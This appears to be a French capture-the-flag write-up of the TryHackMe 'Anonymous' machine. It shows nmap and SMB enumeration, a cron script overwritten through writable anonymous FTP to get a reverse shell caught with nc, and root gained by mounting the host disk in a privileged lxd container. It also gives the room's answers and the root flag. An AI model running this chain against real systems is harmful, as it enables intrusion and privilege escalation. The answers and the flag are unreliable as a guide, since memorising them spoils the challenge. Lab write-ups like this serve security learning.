Nous trouvons un FTP anonymous en 21 et la présence du service SMB en 139/245
2. SMB
Nous avons trouvé un share appelé pics, voyons ce qu'il contient
Le partage (share smb) contient deux fichiers images. J'ai téléchargé (get) les deux images et je les ai travaillées avec les outils de stéganographie les plus connus et je n'ai rien trouvé ! J'ai perdu un certain temps pour me rendre compte que finalement cela ne menait à rien, ce que les anglo-saxons appellent un 'Rabbit Hole' .
3. Réponses aux questions jusqu'à présent
Questions
Réponses
Enumerate the machine. How many ports are open?
4
What service is running on port 21?
FTP
What service is running on ports 139 and 445?
SMB
There's a share on the user's computer. What's it called?
pics
[Task 2] Exploitation
1. Port 21 - FTP anonymous
Nmap nous a montré que le port 21 supportait le FTP anonyme. Conectons-nous avec l'utilisateur 'anonymous' et un mot de passe vide.
Explorons le répertoire
Et téléchargeons les fichiers trouvés
Contenu de clean.sh
clean.sh va vider le répertoire /tmp et écrire le résultat son action dans le fichier removed_files.log.
Le Hint de TryHackMe nous dit de nous intéresser au fichier log. Voyons ce qu'il contient:
Le contenu du fichier log nous montre que clean.sh s'exécute très souvent, probablement toute les minutes via un cron job.
Remarquons également que nous avons les droit en écriture sur le fichier clean.sh
2. Prise pied sur la machine cible
Remplaçons le fichier clean.sh par notre propre fichier clean.sh qui va appeler un Reverse Shell.
Avec l'aide de https://www.revshells.com/ editons clean.sh, rendons le exécutable, uploadons le fichier vers la machine cible via FTP anonymous et attendons le reverse shell avec nc
# Nmap 7.94SVN scan initiated Thu Dec 5 10:43:13 2024 as: /usr/lib/nmap/nmap --privileged -A -p- -oN nmap.txt -T4 10.10.42.241
Nmap scan report for 10.10.42.241
Host is up (0.028s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.9.2.92
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 2 111 113 4096 Jun 04 2020 scripts [NSE: writeable]
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)
| 256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA)
|_ 256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=12/5%OT=21%CT=1%CU=30534%PV=Y%DS=2%DC=T%G=Y%TM=6751
OS:75D6%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=103%TI=Z%CI=Z%II=I%TS=A)
OS:SEQ(SP=103%GCD=1%ISR=104%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=104%GCD=1%ISR=104%TI
OS:=Z%CI=Z%II=I%TS=9)SEQ(SP=105%GCD=1%ISR=105%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=10
OS:5%GCD=2%ISR=105%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M508ST11NW7%O2=M508ST11NW7%O3
OS:=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST11NW7%O6=M508ST11)WIN(W1=F4B3%W2=F
OS:4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW
OS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_nbstat: NetBIOS name: ANONYMOUS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: anonymous
| NetBIOS computer name: ANONYMOUS\x00
| Domain name: \x00
| FQDN: anonymous
|_ System time: 2024-12-05T09:43:49+00:00
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-12-05T09:43:49
|_ start_date: N/A
TRACEROUTE (using port 3306/tcp)
HOP RTT ADDRESS
1 29.56 ms 10.9.0.1
2 29.59 ms 10.10.42.241
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 5 10:43:50 2024 -- 1 IP address (1 host up) scanned in 37.07 seconds
┌──(kali㉿kali)-[~/THM/anonymous]
└─$ smbclient -L $IP -N
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
pics Disk My SMB Share Directory for Pics
IPC$ IPC IPC Service (anonymous server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP ANONYMOUS
┌──(kali㉿kali)-[~/THM/anonymous]
└─$ smbclient //$IP/pics -N
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun May 17 13:11:34 2020
.. D 0 Thu May 14 03:59:10 2020
corgo2.jpg N 42663 Tue May 12 02:43:42 2020
puppos.jpeg N 265188 Tue May 12 02:43:42 2020
20508240 blocks of size 1024. 13306812 blocks available
┌──(kali㉿kali)-[~/THM/anonymous]
└─$ ftp $IP
Connected to 10.10.166.173.
220 NamelessOne's FTP Server!
Name (10.10.166.173:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
ftp> dir
229 Entering Extended Passive Mode (|||51479|)
150 Here comes the directory listing.
drwxrwxrwx 2 111 113 4096 Jun 04 2020 scripts
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> dir
229 Entering Extended Passive Mode (|||22147|)
150 Here comes the directory listing.
-rwxr-xrwx 1 1000 1000 314 Jun 04 2020 clean.sh
-rw-rw-r-- 1 1000 1000 2193 Dec 13 15:45 removed_files.log
-rw-r--r-- 1 1000 1000 68 May 12 2020 to_do.txt
226 Directory send OK.
ftp> get clean.sh
local: clean.sh remote: clean.sh
229 Entering Extended Passive Mode (|||13395|)
150 Opening BINARY mode data connection for clean.sh (314 bytes).
100% |**************************************************************************| 314 162.15 KiB/s 00:00 ETA
226 Transfer complete.
314 bytes received in 00:00 (11.29 KiB/s)
ftp> get removed_files.log
local: removed_files.log remote: removed_files.log
229 Entering Extended Passive Mode (|||17137|)
150 Opening BINARY mode data connection for removed_files.log (2236 bytes).
100% |**************************************************************************| 2236 15.01 MiB/s 00:00 ETA
226 Transfer complete.
2236 bytes received in 00:00 (91.60 KiB/s)
ftp> get to_do.txt
local: to_do.txt remote: to_do.txt
229 Entering Extended Passive Mode (|||44674|)
150 Opening BINARY mode data connection for to_do.txt (68 bytes).
100% |**************************************************************************| 68 289.98 KiB/s 00:00 ETA
226 Transfer complete.
68 bytes received in 00:00 (2.64 KiB/s)
ftp>
#!/bin/bash
tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
echo "Running cleanup script: nothing to delete" >> /var/ftp/scripts/removed_files.log
else
for LINE in $tmp_files; do
rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
fi
┌──(kali㉿kali)-[~/THM/anonymous]
└─$ cat removed_files.log
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
...
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
chmod +x clean.sh
ftp anonymous@$IP
cd scripts
put clean.sh
nc -lvnp 12345
/┌──(kali㉿kali)-[~/THM/anonymous]
└─$ nc -lvnp 12345
listening on [any] 12345 ...
connect to [10.9.3.195] from (UNKNOWN) [10.10.238.90] 52170
bash: cannot set terminal process group (1371): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$
namelessone@anonymous:~$ whoami
whoami
namelessone
namelessone@anonymous:~$ id
id
uid=1000(namelessone) gid=1000(namelessone) groups=1000(namelessone),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
namelessone@anonymous:~$
namelessone@anonymous:/dev/shm$ wget 10.9.3.195:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz
--2024-12-16 15:35:02-- http://10.9.3.195:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz
Connecting to 10.9.3.195:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3259593 (3.1M) [application/gzip]
Saving to: ‘alpine-v3.13-x86_64-20210218_0139.tar.gz’
alpine-v3.13-x86 0%[ ] 0 --.-KB/s alpine-v3.13-x86_ 2%[> ] 88.47K 227KB/s alpine-v3.13-x86_6 6%[==> ] 200.47K 166KB/s alpine-v3.13-x86_64 25%[==============> ] 825.09K 583KB/s alpine-v3.13-x86_64- 46%[==========================> ] 1.43M 906KB/s alpine-v3.13-x86_64-2 69%[=======================================> ] 2.15M 1.17MB/s alpine-v3.13-x86_64-20 92%[=====================================================> ] 2.87M 1.41MB/s alpine-v3.13-x86_64-20210218_013 100%[==========================================================>] 3.11M 1.46MB/s in 2.1s
2024-12-16 15:35:05 (1.46 MB/s) - ‘alpine-v3.13-x86_64-20210218_0139.tar.gz’ saved [3259593/3259593]
namelessone@anonymous:/dev/shm$ lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first container, try: lxc launch ubuntu:18.04
Image imported with fingerprint: cd73881adaac667ca3529972c7b380af240a9e3b09730f8c8e4e6a23e1a7892b
namelessone@anonymous:/dev/shm$ lxc image list
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| myimage | cd73881adaac | no | alpine v3.13 (20210218_01:39) | x86_64 | 3.11MB | Dec 16, 2024 at 3:36pm (UTC) |
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
namelessone@anonymous:/dev/shm$ lxc init myimage mycontainer -c security.privileged=true
Creating mycontainer
Error: No storage pool found. Please create a new storage pool
namelessone@anonymous:/dev/shm$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]:
Name of the storage backend to use (btrfs, dir) [default=btrfs]:
Create a new BTRFS pool? (yes/no) [default=yes]:
Would you like to use an existing block device? (yes/no) [default=no]:
Size in GB of the new loop device (1GB minimum) [default=15GB]:
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like LXD to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
namelessone@anonymous:/dev/shm$ lxc init myimage mycontainer -c security.privileged=true
Creating mycontainer
namelessone@anonymous:/dev/shm$ lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to mycontainer
namelessone@anonymous:/dev/shm$ lxc start mycontainer
namelessone@anonymous:/dev/shm$ lxc exec mycontainer /bin/sh
~ # whoami
root
~ # cd /mnt/root
/mnt/root # ls -l
total 4015200
drwxr-xr-x 2 root root 4096 May 13 2020 bin
drwxr-xr-x 3 root root 4096 May 13 2020 boot
drwxr-xr-x 2 root root 4096 May 11 2020 cdrom
drwxr-xr-x 17 root root 3700 Dec 16 14:17 dev
drwxr-xr-x 96 root root 4096 Jun 4 2020 etc
drwxr-xr-x 3 root root 4096 May 11 2020 home
drwxr-xr-x 22 root root 4096 May 11 2020 lib
drwxr-xr-x 2 root root 4096 Feb 3 2020 lib64
drwx------ 2 root root 16384 May 11 2020 lost+found
drwxr-xr-x 2 root root 4096 Feb 3 2020 media
drwxr-xr-x 2 root root 4096 Feb 3 2020 mnt
drwxr-xr-x 2 root root 4096 Feb 3 2020 opt
dr-xr-xr-x 138 root root 0 Dec 16 14:17 proc
drwx------ 6 root root 4096 May 17 2020 root
drwxr-xr-x 28 root root 920 Dec 16 15:37 run
drwxr-xr-x 2 root root 12288 May 13 2020 sbin
drwxr-xr-x 4 root root 4096 May 11 2020 snap
drwxr-xr-x 3 root root 4096 May 14 2020 srv
-rw------- 1 root root 4111466496 May 11 2020 swap.img
dr-xr-xr-x 13 root root 0 Dec 16 14:17 sys
drwxrwxrwt 9 root root 4096 Dec 16 15:36 tmp
drwxr-xr-x 10 root root 4096 Feb 3 2020 usr
drwxr-xr-x 14 root root 4096 May 13 2020 var
/mnt/root # cat root/root.txt
4d930091c31a622a7ed10f27999af363
/mnt/root #
